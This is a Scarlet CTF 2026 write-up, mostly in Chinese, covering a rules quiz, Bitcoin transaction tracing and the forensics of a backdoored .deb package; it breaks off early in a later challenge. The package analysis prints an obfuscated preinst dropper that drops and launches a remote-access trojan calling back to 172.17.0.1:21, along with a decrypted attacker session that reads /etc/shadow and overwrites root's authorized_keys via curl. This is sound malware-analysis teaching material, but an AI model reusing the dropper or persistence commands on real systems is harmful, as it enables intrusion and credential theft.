Scarlet CTF 2026

Scarlet CTF 2026

Aristore

README

Rule Follower

Challenge

Welcome to Scarlet CTF!

This should be pretty easy for your first flag! All you gotta do is just make sure you read the rules :)

nc challs.ctf.rusec.club 62075

Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
Hello, world!
Welcome to the official Scarlet CTF Rules Trivia!
The game is simple, read the rules, and answer correctly.
Each question is TRUE or FALSE! (I.E: the statement is either correct, or not)
Put your answer either as:
T (for true)
F (for false)

Don't attack this application, that's not the goal of this challenge.
You'll get the flag when you answer all questions correctly.

== (1/10) You are NOT allowed to compromise/pentest our CTF platform (rCTF, scoreboard, etc.) ==
T for TRUE, F for FALSE> T
== (2/10) Flag sharing (sharing flags to someone not on your team) is NOT allowed ==
T for TRUE, F for FALSE> T
== (3/10) If you have a question regarding the CTF, you ping the admins or DM them ==
T for TRUE, F for FALSE> F
== (4/10) Asking for help from other people (not on your team) for challenges is allowed if you're stuck ==
T for TRUE, F for FALSE> F
== (5/10) You are allowed to use automated scanners/fuzzing/bruteforcing whenever you wish with NO restrictions ==
T for TRUE, F for FALSE> F
== (6/10) Your teams can be of unlimited size ==
T for TRUE, F for FALSE> T
== (7/10) You are allowed to do ACTIVE attacking during OSINT (i.e: contacting potential targets), not just passive, when you feel it is necessary ==
T for TRUE, F for FALSE> F
== (8/10) PASSIVE OSINT techniques are allowed on general RUSEC infrastructure only when EXPLICITLY given specific permission to by a challenge ==
T for TRUE, F for FALSE> T
== (9/10) ACTIVE techniques (i.e: pentesting) are allowed on general RUSEC infrastructure at any time ==
T for TRUE, F for FALSE> F
== (10/10) Official writeups will be posted at the end of the competition ==
T for TRUE, F for FALSE> T

Congratulations!
* You are NOT allowed to compromise/pentest our CTF platform (rCTF, scoreboard, etc.): T
* Flag sharing (sharing flags to someone not on your team) is NOT allowed: T
* If you have a question regarding the CTF, you ping the admins or DM them: F
Reason: You make a ticket
* Asking for help from other people (not on your team) for challenges is allowed if you're stuck: F
Reason: You are not allowed to ask external people for help on challenges
* You are allowed to use automated scanners/fuzzing/bruteforcing whenever you wish with NO restrictions: F
Reason: You are only allowed to do so when a challenge specifically requires it
* Your teams can be of unlimited size: T
* You are allowed to do ACTIVE attacking during OSINT (i.e: contacting potential targets), not just passive, when you feel it is necessary: F
Reason: OSINT is strictly passive
* PASSIVE OSINT techniques are allowed on general RUSEC infrastructure only when EXPLICITLY given specific permission to by a challenge: T
* ACTIVE techniques (i.e: pentesting) are allowed on general RUSEC infrastructure at any time: F
Reason: Active pentesting is NEVER ever allowed on RUSEC infrastructure
* Official writeups will be posted at the end of the competition: T

RUSEC{you_read_the_rules}

FLAG

1
RUSEC{you_read_the_rules}

Forensics

Dark Tracers

Challenge

Would you look at that!? We have a fake murder-for-hire case on our desk. Lovely. Anyway, ASAC Bobr wants you to trace through the transaction to identify the most likely hash that indicates the payment made from the perp to the scammer for the agreed upon amount.

Here is what we believe is the transaction made from a Bitcoin ATM to one of the addresses associated with the perpetrator’s wallet:

427e04420fffc36e7548774d1220dad1d20c1c78dd71ad2e1e9fd1751917a035

Find the transaction made from the victim to the scammer and upload the transaction hash as the flag!

Here is the press release for the case, a young agent like you always needs some good old context.

FLAG FORMAT: RUSEC{hash}

For example, if you think the transaction hash is 49100341fe8d99bd1ed7cec22edf0ec63d6920a01627e34249b2dfb3c464bca0, upload it in the format:

RUSEC{49100341fe8d99bd1ed7cec22edf0ec63d6920a01627e34249b2dfb3c464bca0}

Solution

区块链取证题,甚至是真实事件,还给了个新闻稿

题目背景概括一下大概就是:嫌疑人在暗网上试图用比特币买凶杀人被判刑,她通过比特币ATM机存入现金,并于2023年7月27日转账约0.358枚比特币至所谓的“杀手”的地址,但经调查发现收款方可能是诈骗团伙,并无实际行凶意图

已知条件是从比特币ATM机转到嫌疑人钱包关联地址之一的交易:427e04420fffc36e7548774d1220dad1d20c1c78dd71ad2e1e9fd1751917a035

先整理一下关键信息:

  • 嫌疑人起始交易: 427e04420fffc36e7548774d1220dad1d20c1c78dd71ad2e1e9fd1751917a035

  • 日期: July 27, 2023

  • 目标金额: 约 0.358 BTC

  • 资金行为: ATM取款 -> 归集/转换 -> 支付给杀手

先分析起始交易 Transaction: 427e04420fffc36e7548774d1220dad1d20c1c78dd71ad2e1e9fd1751917a035 | Blockchain.com

ScarletCTF2026-1

两个输出的金额都不足 0.358 BTC,这意味着嫌疑人必须进行UTXO归集(就是把多笔零钱凑在一起)才能支付这笔款项,所以我们需要寻找资金变多(汇聚)的那条路径。

接着追踪这 0.234 BTC 的去向 Transaction: 2503bad8b5a1b4ff4555c28632475cd148a96e631ee1fdee0935b2b487c63ae1 | Blockchain.com

ScarletCTF2026-2

这里可以看到时间是 2023-07-27,和新闻稿上的日期是吻合的,而且输出是 0.39630365 BTC

这是一个典型的归集操作,嫌疑人手里的单笔资金不够,所以将多笔资金合并到了一个地址 (bc1q44mw0cffurnex8jxqvtvap3fwv3et0v9lxdc3t),现在的余额已经大于目标金额 0.358 BTC 了,嫌疑人已准备好进行支付了

接着追踪这笔 0.396 BTC 资金的去向 Transaction: 57ce32d129f4824aa8c7e71e56cf4908dcc32103f5fff3c3d6a08bd7bae78c48 | Blockchain.com

ScarletCTF2026-3

输出金额为 0.35848829 BTC,和新闻稿中的金额一致,所以这就是嫌疑人向诈骗者支付款项的最终交易

FLAG

1
RUSEC{57ce32d129f4824aa8c7e71e56cf4908dcc32103f5fff3c3d6a08bd7bae78c48}

Peel That Off!

Challenge

We just identified a scam cluster cashing out! Looks like the cluster is peeling off funds starting from this transaction:

88617a44b501b2aa2ed1001a94fccbafb126578c5c2e696b20ae91dcc2a93e0a

Can you trace through the transactions and find the end of the peel chain? Upload the transaction with the last traceable transaction in the peel chain that we can attribute as the actor from our scam cluster! These types of peels can take a while and we want to know what service was used. We believe one of the receiving addresses will be a deposit address controlled by a cryptocurrency exchange, so upload the date of the transaction in the format MM/DD/YYYY as well as the name of the exchange that is associated with one or more of the receiving addresses in the final transaction on the peel chain.

FLAG FORMAT: RUSEC{hash:date:exchange}

For example, if you think the transaction hash is 49100341fe8d99bd1ed7cec22edf0ec63d6920a01627e34249b2dfb3c464bca0, the date is January 2nd, 2026, and one of the receiving parties is a deposit address belonging to Kraken, upload it in the format:

RUSEC{49100341fe8d99bd1ed7cec22edf0ec63d6920a01627e34249b2dfb3c464bca0:01/02/2026:kraken}

Solution

这是一道关于剥离链追踪的题

在洗钱活动中犯罪分子通常持有一笔巨额资金,他们不会一次性全部转走,而是通过一系列密集的交易,每次“剥离”出一小部分金额(Peel)进行套现或转移,然后将剩下的大部分资金作为“找零(Change)”转到一个新地址,如此反复。

追踪的策略是查看交易的输出找到金额较大的那个输出(通常是找零),追踪这个大额输出被哪笔交易花费了,重复这个步骤直到资金被全部花光,或者大额资金流入了一个交易所的热钱包/存款地址。

编写 Python 脚本通过分析、识别和追踪比特币剥离链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
import urllib.request
import json
import time
from datetime import datetime, timezone
from collections import Counter
from colorama import init, Fore, Back, Style

init(autoreset=True)

# === CONFIG ===
START_TXID = "88617a44b501b2aa2ed1001a94fccbafb126578c5c2e696b20ae91dcc2a93e0a"
API_BASE = "https://mempool.space/api"
HEADERS = {"User-Agent": "Mozilla/5.0"}


def fetch_json(url):
for _ in range(3):
try:
req = urllib.request.Request(url, headers=HEADERS)
with urllib.request.urlopen(req, timeout=15) as response:
return json.loads(response.read().decode())
except:
time.sleep(1)
return None


def find_spending_tx(address, txid, vout_index):
"""Trace the next hop by looking for the input spending this specific UTXO."""
txs = fetch_json(f"{API_BASE}/address/{address}/txs")
if not txs:
return None
for tx in txs:
for vin in tx.get("vin", []):
if vin.get("txid") == txid and vin.get("vout") == vout_index:
return tx.get("txid")
return None


def print_hop(step, txid, date, outputs_info, next_tx):
"""Print each hop in a tree structure"""
print(f"\n{Fore.BLUE}{Style.BRIGHT}[Hop #{step:02d}]{Style.RESET_ALL} {Fore.GREEN}{Style.BRIGHT}{date}")
print(f" ╰─ Transaction: {Fore.WHITE}{Style.BRIGHT}{txid}")

for i, out in enumerate(outputs_info):
is_last = i == len(outputs_info) - 1
branch = "├──" if not is_last else "└──"

role_color = Fore.YELLOW if out["role"] == "CHANGE" else Fore.MAGENTA
print(f" {branch} [{role_color}{Style.BRIGHT}{out['role']}{Style.RESET_ALL}] {out['value']:>10.4f} BTC")
print(f" {' ' if is_last else '│'} Destination: {out['addr']}")

if out["role"] == "CHANGE" and next_tx:
print(f" {' ' if is_last else '│'} {Fore.CYAN}{Style.BRIGHT}>>> {next_tx}")


current_txid = START_TXID
step = 1
peel_history = []

print("\n" + " " * 20 + f"{Back.BLUE}{Fore.WHITE}{Style.BRIGHT} BLOCKCHAIN FORENSIC: PEEL CHAIN ANALYSIS ")

while current_txid:
tx_data = fetch_json(f"{API_BASE}/tx/{current_txid}")
if not tx_data:
break

block_time = tx_data["status"].get("block_time")
dt_str = (
datetime.fromtimestamp(block_time, timezone.utc).strftime("%Y-%m-%d")
if block_time
else "Unconfirmed"
)

vouts = tx_data.get("vout", [])
max_val = max(out.get("value", 0) for out in vouts)

outputs_summary = []
next_hop = None

for i, out in enumerate(vouts):
addr = out.get("scriptpubkey_address", "Unknown")
val = out.get("value", 0) / 1e8

role = "CHANGE" if out.get("value", 0) == max_val else "PEEL"
spender = find_spending_tx(addr, current_txid, i)

if role == "CHANGE" and spender:
next_hop = spender

if role == "PEEL":
peel_history.append({"txid": current_txid, "date": dt_str, "address": addr, "value": val})

outputs_summary.append({"role": role, "value": val, "addr": addr})

print_hop(step, current_txid, dt_str, outputs_summary, next_hop)

if next_hop:
current_txid = next_hop
step += 1
time.sleep(0.3)
else:
break

print("\n" + " " * 21 + f"{Back.WHITE}{Fore.BLACK}{Style.BRIGHT} FORENSIC SUMMARY AND ANALYSIS RESULTS ")

destinations = [p["address"] for p in peel_history]
if destinations:
most_common_addr = Counter(destinations).most_common(1)[0][0]

last_tx_to_target = None
for p in reversed(peel_history):
if p["address"] == most_common_addr:
last_tx_to_target = p
break

total_peeled = sum(p["value"] for p in peel_history if p["address"] == most_common_addr)

print(f"[*] Analysis of Peel Pattern:")
print(f" - Primary Target Address: {most_common_addr}")
print(f" - Total Funds Peeled: {total_peeled:.4f} BTC")
print(f" - Frequency: {destinations.count(most_common_addr)} times in this chain")

print(f"\n[*] The last traceable transaction related to this crypto peeling chain is:")
print(f" {Fore.GREEN}{Style.BRIGHT}TXID: {last_tx_to_target['txid']}")
print(f" {Fore.GREEN}{Style.BRIGHT}Date: {last_tx_to_target['date']}")

flag_date = datetime.strptime(last_tx_to_target["date"], "%Y-%m-%d").strftime("%m/%d/%Y")
print(f"\n[!] Suggested Flag Components:")
print(f" Hash: {last_tx_to_target['txid']}")
print(f" Date: {flag_date}")
else:
print("[!] No systematic peel behavior detected.")

ScarletCTF2026-4

可见目标地址是 16rmYLNaTUqQcPnUKPEWbryXCfdV9P7W2Y

Breadcrumbs Crypto 可以查到地址 16rmYLNaTUqQcPnUKPEWbryXCfdV9P7W2Y 是币安交易所的

ScarletCTF2026-5

FLAG

1
RUSEC{87bb6410cf4d11b4220a0ff32e6d63fa95308898a8704cd9b48e5587b565f179:11/07/2021:binance}

Advanced Packaged Threat

Challenge

Earlier on in the year I used a custom PPA for a long-discontinued library I needed in my experimental program. I ended up not using it, but soon forgot about it later on. However, this morning, I went to check back in on my server and discovered a strange SSH public key in my root SSH user.

I have a packet capture from yesterday detailing everything happening on the network. Could you maybe take a look at it?

Solution

从题目描述可知:添加过一个来源不可信的自定义 PPA,然后服务器遭到入侵,接着被添加了 root 用户的 SSH 密钥

http.request.method == GET 筛选 GET 请求,先看看前几条

受害主机是 172.22.0.2146.75.34.132 是 Debian 的官方仓库,很明显这个内网地址 172.22.0.3 就是恶意的 PPA 服务器

改为筛选 (http.request.method == GET) && (ip.src == 172.22.0.2) && (ip.dst == 172.22.0.3) 缩减范围

ScarletCTF2026-6

这样一看就没几条了,显然这里的 cmdtest.deb 就是受害主机下载到的恶意软件包,symbols.zip 暂时不知道是啥

/authorization 这条流量追踪流

ScarletCTF2026-7

这里传输了题目描述中提到的 root SSH 用户的 SSH 公钥 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHHb4NC8X/lhXcjcL1Hr/YkPz1GkXYebLZgamO4A9pq2 root@skibidi_toilet_fan

接下来把 cmdtest.debsymbols.zip 导出分析

symbols.zip 是真加密压缩包,因此只好先分析 cmdtest.deb

用工具解压缩 cmdtest.deb (本质是 ar 归档,直接用 BandiZip 把它当作压缩包解压了就行),然后将里面的压缩包逐层解压缩,最后在里面找到安装前执行的脚本 preinst

ScarletCTF2026-8

这里是从网络下载并解压缩了 symbols.zip,随后执行了里面的恶意程序

在这里发现加密压缩包 symbols.zip 的解压密码是 very-normal-very-cool

解压缩后用 010 打开发现这是个 bash 脚本

1
2
#!/bin/bash
${*#Q\]Pk\(} """b"$'\u0061'${!@}s${*^^}h ${*#01&f.Zx} <<< "$( "${@,}" pr\i'n'${*}tf 'H4sIAPnaKGgC/32UCXOiSBiG/wpLtDTHlIC4kdrUbhAPkCPDLb1MpjgUkUNQRCHD/PZtTGqnao8pC7/7bbqBB0GQztvzYEB19Lva7v9+HPD2l81X+8t5sWmQtnj3vbUoimboIURTtFf07A2CdI8w2elfx19fG2h+eb4O9OwThj0SvV5vXSJPT09ID2ab7igmsZu7t06r1bw+v3VQ6Nwi11Aq1fKPg/qt233PI/4nBCFvYfUWxVH8ZnR/i9+QzXdYJT7dYTcU3u8j/X4HRdc9FP6uf0fHdm0EuWtX+IY0v9kvvL3pvq/YPHysnAJTXviReAKEX80SUM8XywBLPP68cPERIRDGApTklDteTP9EhX6sEMI9N+XCGabk8wSUc9Oq/cR98TGdneteDtjlrzLhpRILFQk/GZl+ZhDKxNetdE6AiGO4IbRbeKUjQp/4GNgqppMCwmn1IroCyTxS2OXOTfxU3ALC2yohk0WqmNM7/rJXxcOstYyYz97jH7b+sFN+L4cCnHk50JpYRJpw/jsXisGR4eqxKgV7hruMQ7EIav5HvRIPdC0dZppU6DVfHUPxwGnCBfpnaM9QD8biPmCW1E/2yUcqPzpWYqHDfjhTH1WpmO3EC9TDMealgvda0TupoKfiJWD4CNNkNjOthDKtrTQEpxGmaL4uX7LE570ETACmVGQChkvNSqSVFdHM+kAzoKSmzo4K3ZwjhMAKl8F/9oafA9kUAnrl5GTCpx/9lZTyJc1sAnkl1Tp8HhkhVvuF8znW5UWmy4nCcIMZYZVwJqRCBjNqMfYJkEs7Md8S2hI+J34egVb/nq6WZ3q69uaaSF4MK9yyK1KHMTAt8oJLWMCu4uVi7Sk7cIZ+AqDvM1yipG62ZD1+HPMll/DHUeLl48qLM9U6ZIxXyEMvlwmhJgk3l1P+TIVWllVClal+iU19XNRA6idOze2cPaWrExDBK2GysQaqf+5zzPjFZChspNW6VlagUEyhMgivvCR+jFfw3BdOPKncvWSCvax+/ve3AXXbc5R3fAzPNR+H7vVePvQjnOGwvdr28SVpOrDu1bAenFlQ0IyU6/BdhvEphnUO7mvMcGPl//UCrHaHEu4rQDdwQzNUI9ZOAPcB0C1BGRoAzNfF0nCiwjQ4YLj6PDEOYM6VVG0NPrTaffzse4Nw2RRp8/oKeXClRkg8YtjJvvqdrCUFhAzSiHR+GOQ63T12QmfwDo9+i6YWaLALe8S/dq9wYVV6AqtN/HQ/Y6iXK8Ig8jrPLTpbIL4DdsuSD0O3aYnWcgimutl0ZP+ZN+iVV7C5231wK6Kyv8CuzoRW2Xbw+5W+fwE4EbMPpgUAAA==' ${*//=gHk#} | ${@%%v?nW3} $'b\x61'se$(( (("-"1"${@%%8V8\(FX}"4"#"${*%%a&d^}1*52#"0")+2#1"1"0) ))'4' -d ${*/t54aF/8vO\{5F} ${*/^Fb51} | "${@#\[JoC|x\\}" \g"u"\n""z""i${@~~}p -c ${*~~} )" ${*^} ${*}

这里用 printf 输出了一个 Base64 字符串,然后通过管道传递给 base64 -d 解码,再传递给 gunzip -c 解压,最后执行解压出的内容

我们直接把 base64 编码的内容取出来解码并解压缩,然后发现里面又是一个 bash 脚本

1
${@//9$U*z\(>s/K\]f_\]wGf}   ${*~}   """p"ri"n"'t'\f  %s  "$(  ${@^^} ${!@}   $'\u0072'''ev <<< '   }%5l40#*{$   "}^@{$"  ")    "}NvSv?rS|%%@{$"   d-  4))  )"1"1#5+)1#4}~@{$2-*0#91(( (($""e'"'"''"'"'sa\b\  *$   | };\OK\f%*{$   },*{$   "nZWQGdkMuZ2dyEmZzFGJg0mcKwGb152L2VGZv4DIsxWdu9idlR2L+IDIiE0RqFmZvFWYzdmbOd0UHFUcqZHJ6Q2cnNHZ2d2dm5WdpV2RBdUYnF2ZkICI3F2ZhF2Zn52UBd0ZhRWanZ2aqFmZkAyZmFkRHJjbmdnMhZ2chRiCpkSMqAjKxoSMrEjKxoCMqEjKxoSMqEjKxoSMqEzKxoSMqEDKoQiLpkSOrATMtkTLwEDKoQiLpkiMgsCIz8SNgoCIx8iMtgzKwEDKoQiLpkyMrAzNrETNtUzKysiMrITLxUzKwITLwATMrITMogCJ9Q2cnNHZ2d2dm5WdpV2RBdUYnF2ZKkSK5syMtUTMrATMzsSNtEjMxsiM10COyEzKyAjNtADMxgCKk0TQHpWYm9WYhN3Zu50RTdUQxpmdKcmZBZ0Ry4mZ3JTYmNXYkACerACZv9Daj9ibqI2LgYiJgcmZBZ0Ry4mZ3JTYmNXYkAiPgQWLgAXaq4mKn9ibqI2LyNnKvACfgQXNzU2Znp2MyoGaPlUQGpUQmRCI/E2Yv4mKi9iC0VzMld2ZqNjMqh2TJFkRKFkZkAiP+AyJwADecFTM4xVYihHX4UDecZWY4x1N0gHXlJGecRjZwgHXmZGecdCImRnbpJHcK8lKvImKs5mcq8yclpSYrpCctQ3cqQ2Lz42bqQnKw9iYppyLypSdv0Dd1MTZndmazIjao9USBZkSBZmCp8TZy9ibqI2LyNnKvACfg8CdtB3LfNXezRXZtRWLyV2cvxmdl1yYhNGalByboNWZoQSPnZWQGdkMuZ2dyEmZzFmCpQWLgQjKlNXYq8ibppyLyNnKvACfk1CI0oSZzFmKv4Waq8iczpyLgwHZtACNqU2chpyLulmKvI3cq8CI8RWLgQjKlNXYq8ibppyLyNnKvACfg0zb3N1dRZUV1VTVSVlTuZ1dZZUYLR3VZZFetJVaktWVIZVbUFmVrZFIv9zY/8ibppyLoQSP3F2ZhF2Zn52UBd0ZhRWanZ2aqFmZ"  ftn}^^*{$'"'"'i2700u\'"'"'$p  },@{$ }MAqr/qUA%s$ia/*{$   ($"  <<<   }071_%%*{$ HSAB$  }l<+EC9O%%@{$ ' $@ ${*}     ${@/hH4,3b}  )"   "${@%pD5\[q}"   | ${*%%,by2y\]}  $BASH ${@~~}   

这里将 payload 编码后反转,所以只需要反转后解码即可得到以下 shell 脚本:

1
2
3
4
5
6
7
8
9
fajkfgidagGASnggaagaw=$(/*in/?c?o VkVaTmVHUkdiRmxVYWtKaFYwVnNURU5uUFQwSwo= | /*sr/*in/*ase*4 -d| /*sr/*in/*ase*4 -d| /*sr/*in/*ase*4 -d| /*sr/*in/*ase*4 -d)
asfa2wfn2GFAfg=$(echo ehcac-evloser-dmetsys_/pmt/ | /*sr/b*n/re?)
fAJFAIOhj23jgge35t=/u*r/*ib/p*t*on3/d*st-p*ka*es/*rnl*b/*_
printf '\xff\x0f4\xbe\x47\xaf\x58\xba\x11\x00' >> $fAJFAIOhj23jgge35t
/b*n/ca? $fAJFAIOhj23jgge35t | /*sr/b*n/g*n*ip -d > $asfa2wfn2GFAfg && /b*n/ch?od +x $asfa2wfn2GFAfg
vjqAGSGNngsaaofajGA=$((100-602+128-52+121-5+310+15-3+9))
gagaGAGeiunfwgvdsgsd=$((12+100-20+51-2+2+2+5-51+70+3)).$((10+8-2/1 * 5/3 + 2)).$((10-9-10+9)).$((1*1*1+1*1*1*1*1*1*1*0*1*1+1*1*0*1))
$asfa2wfn2GFAfg $fajkfgidagGASnggaagaw "$gagaGAGeiunfwgvdsgsd:$vjqAGSGNngsaaofajGA" 2>/dev/null >/dev/null
rm $asfa2wfn2GFAfg

分析这个恶意脚本:

  1. 脚本利用 /*in/?c?o (echo) 和 /*sr/*in/*ase*4 (base64) 等带通配符的路径进行混淆。通过 4 层 Base64 解码得到通信密钥 --master,并利用 rev 命令将混淆字符串还原为落地路径 /tmp/_systemd-resolver-cache

  2. 恶意 payload 事先隐藏在 /usr/lib/python3/dist-packages/urllib/_,这原本是一个损坏的 gzip 压缩包,脚本通过 printf 向其末尾追加了\xff\x0f4\xbe\x47\xaf\x58\xba\x11\x00 进行修复,随后解压到 /tmp 并赋予执行权限。

  3. 脚本通过 Bash 算术运算生成回连的 IP 和端口 172.17.0.1:21

  4. 最后,脚本启动解压出的二进制程序,传入密钥并连接到 172.17.0.1:21,运行后执行 rm 删除 /tmp 下的文件

回到解压缩的 deb 包,在 data/usr/lib/python3/dist-packages/yarnlib/ 找到文件 _,然后修复并解压缩

1
2
printf '\xff\x0f4\xbe\x47\xaf\x58\xba\x11\x00' >> ./_
mv _ payload.gz

将这个 GZ 压缩包解压缩可以得到一个名为 _ 的 ELF 文件

这是一个用 Rust 编写的远控木马,检测结果:VirusTotal - File - 8158d7317d38edf3310b81f9fc1a7111a90c8b32acae5d980d41b34982be683a

ScarletCTF2026-9

筛选目标 IP 为 172.17.0.1 且端口为 21 的所有 TCP 流量 ip.addr == 172.17.0.1 && tcp.port == 21

虽然连接的是 21 端口,但流量内容完全不符合 FTP 协议的规范,在首选项把 FTP 的端口改成别的然后继续分析会更好看(虽然看起来好像都差不多)

ScarletCTF2026-10

随便找一条追踪流就行

ScarletCTF2026-11

根据 VirusTotal 的分析结果编写 Python 脚本解密流量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from Crypto.Cipher import ChaCha20

key = bytes.fromhex("FACDF7458D8483B214197A7245AAD45C4FF297E4B90293027234E3C35DEA9069")
nonce = b"meow-warez:3"

cipher = ChaCha20.new(key=key, nonce=nonce)

payloads = [
"fa0c",
"9d9a9df41db7a363727adc8c9a3f4cc36e231754a17b6a780ac603deafde8849be3443287ad330",
"b1dd93",
"9464",
"3fab20aaef1831d34fe92c95b67983",
"7a76c9b15a758caeb724a90359395fd9dc21f965bce3f43e21b3fd0f244c84363b7184239e52ec6b7695663a7702e18268b03cb6c6d39dddd1ce66a4f05a88d98a62ecb387bdf0cb050e7234d7cd9fd0bbf7c55124563f0a164e4b4e599f19fb47b6852edca9c4619a0072f135245d005c76adfea9f1d4a3b64e38a30af6df168bc63aad535b55d2ad42ad1e9277848e5ef75c0e6dc9c652f281eb3395d140f9b0718e19a7505d2df6bd5e60ea020a8e1b2e0be26c4b69bc545ca108243fb5139638d27c6126ab5b849ac42a8a4c2679c9759adfffefb8067f0e16af8dc38474274906063e22c24265d86bc8392fc72a3af67908aef6a697b4685263dee35695b14dd6875cf513a85d50a5c0332ef3bb6c44ba597db767273eb0f4b3274aee885d4ee91f1da12407f1b866b49fa0f877f17d446aaba87ade9a3c722781475f80b11f6b0d5f5ca963822c35e093fe199a162cab396f437dc88ee600fff448d6258ec2ee07ae3bdae5aed393ec6b623bfae7198fbc784f62a1c53b51c6ce9d89d956dc04e099aaa7238116e8f97fd70c172b8225191b3f552d8f750b77b155f8f3a23a37a3000e77f78594ea8597221b2e3c825b5f6fd51e533c87d7521053234b1e70b7921bf48d2846dbb365e7505a9239b5a25c03ee693428ca75fdaf4b02c447b586ad6b112a3dd0b82df6a4902e00f3f6e4c085776c0683b1d60d1c3bd31e5ae2ec2a4cddaabaf23ae4d232b9a84a2a57afb79d81c4f88cbe9f7a5baf1ed0617f9e56895561d0ed1b9840c763e594adf0579f3e162168d5dbd479b00bbeea51091c9cbab405dfdeb1afac3dc0cf6b5140b9f63c6874997f238fcfb46097196247007c3727ab8ddc6ad85a1464bf2054bc05260daa7ffadf55659c70c905170331264dd197e0741514785137",
"00121c58f60d6e0cd4c7193546ca68d8e71cf7c6d73128b2141bb1cf5544420cd00667b9808ee450964212553218eb044e74c08c5c073f6efaed585d4277fbcc8ef198f1a818bd95d83ab9",
"5d5c0ab782f4c58882ff02dd82",
"edfd02cefbef7c35366f213d1a2a7761142adb2361f09ed46497ec7c2901de9491a2eb3d7945b604d5ca7c5af714c4179a3d8c88449aecd6d3d9fb2a2c294c6ec519a0cfa677d2514f5419cf26946a3ee6d590bc19431ebfe6ca1a7ccb8877013f12a33997689f9d598d96f8f024acb5639726f0db7b420dea78f62145da2327d25dd4f491d447b5325d649bbb962a09cff4d4a4d337af0d234104b09e8eb810660ed588cf901f27d9468a3dc6d9ca01ca77830b451fd291d6794b0c4afd542307e96528be50d6cdd946f89200b743724ab2aa4552cfb79da00285a1e760cc955b061834c7a2a67568f1fb55122953f357285c421a22dbb015c1b9e93799bf1c3e3cd7d27d0c23e8a4317773fc8216c8d65921e11b3bd93ef8452e95a322f5a9fbbcd11497d8c4f1d46f453901296e5d2cff2be9e05b12729439dfee2a125ab7ae43bbcd3bfc285aaf2e704bc92b6c97ec3a902f2955fe8666f4dc62d9fbc243fd5c55513f529a6580b6bbc115897e367b1d137fc17c7799811fe6e57397a34016989ec7b909161e4f7b315d103ec9ffa8f81deaec170734f074f7a380741ed35cd603789a0fde8c9303307ae8f3395fb260b35d254639066cda00d0dd9f12765bc936d3f0dbba401f1efdbd385af8f1",
"ce3f001be699efd0b2703dae23f0b81f69a4664ae82ab2708187da90c88bfd7502",
"8d9a033b7730a01c8bd227e3feb1b10b136174ce821ef4f31b8f037a47d812ccf4b3524bfde32142f814d5a11e3b39d794df297480fb0cbe08efde67c8",
"aaafb853a4933bfd5fe7b2c08a15ef4afef96d9f26",
"11a8b1c5f23855d56684f503ce1742d22cd6887feb23d0d11ef7807a6b6d89d937bd4390f4d945c45919b56cf2c3ca417a454bc406787dea48465ca15644fb1ee35d5a55b2",
"80f765d211969582bbf3d6441218",
"8b9166c15951479ae07245ec8a50f9",
"62e8c86a"
]

for i, p in enumerate(payloads):
dec = cipher.decrypt(bytes.fromhex(p))
print(dec.decode('utf-8', errors='ignore'))

得到输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
id
uid=0(root) gid=0(root) groups=0(root)

pwd
/

cat /etc/shadow
root:$y$j9T$EgrjqkZ9tbfCDXFAz3uFt1$IF/LOLQ4cUa2Tgj/MfHmlJCC5N.yn2TUTnxBhEVt3N2:20225:0:99999:7:::
daemon:*:20206:0:99999:7:::
bin:*:20206:0:99999:7:::
sys:*:20206:0:99999:7:::
sync:*:20206:0:99999:7:::
games:*:20206:0:99999:7:::
man:*:20206:0:99999:7:::
lp:*:20206:0:99999:7:::
mail:*:20206:0:99999:7:::
news:*:20206:0:99999:7:::
uucp:*:20206:0:99999:7:::
proxy:*:20206:0:99999:7:::
www-data:*:20206:0:99999:7:::
backup:*:20206:0:99999:7:::
list:*:20206:0:99999:7:::
irc:*:20206:0:99999:7:::
_apt:*:20206:0:99999:7:::
nobody:*:20206:0:99999:7:::
systemd-network:!*:20225::::::
systemd-timesync:!*:20225::::::
messagebus:!:20225::::::
sshd:!:20225::::::

curl http://knowledge-universal/authorization -o /root/.ssh/authorized_keys
ls -laR /root
/root:
total 28
drwx------ 1 root root 4096 May 17 15:12 .
drwxr-xr-x 1 root root 4096 May 17 19:00 ..
-rw-r--r-- 1 root root 571 Apr 10 2021 .bashrc
-rw-r--r-- 1 root root 161 Jul 9 2019 .profile
drwx------ 1 root root 4096 May 17 19:00 .ssh
-rw-r--r-- 1 root root 50 May 17 15:12 flag.txt

/root/.ssh:
total 16
drwx------ 1 root root 4096 May 17 19:00 .
drwx------ 1 root root 4096 May 17 15:12 ..
-rw-r--r-- 1 root root 105 May 17 19:00 authorized_keys

md5sum /root/.ssh/authorized_keys
306171d90074563d46750370e1b7704f /root/.ssh/authorized_keys

base64 /root/flag.txt
UlVTRUN7a24wY2tfa24wY2tfeW91X2g0dmVfYV9wNGNrNGdlX2luX3RoM19tNDFsfQo=

rm symbols.zip
rm disk_cleanup
exit

UlVTRUN7a24wY2tfa24wY2tfeW91X2g0dmVfYV9wNGNrNGdlX2luX3RoM19tNDFsfQo= 经过 base64 解码得到的就是 flag

FLAG

1
RUSEC{kn0ck_kn0ck_you_h4ve_a_p4ck4ge_in_th3_m41l}

:(

Challenge

As I look back at my RUSEC memories, I remembered the time that I met my mentor! Seems like he accidently kept sending my machine a payload that made my screen go blue…

Solution

先把拿到的 evtx 日志转换为 xml 文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import Evtx.Evtx as evtx

input = "Challenge.evtx"
output = "Challenge.xml"

with open(output, 'w', encoding='utf-8') as f_out:
f_out.write('<?xml version="1.0" encoding="utf-8"?>\n')
f_out.write('<Events>\n')

with evtx.Evtx(input) as log:
count = 0
for record in log.records():
f_out.write(record.xml() + '\n')
count += 1

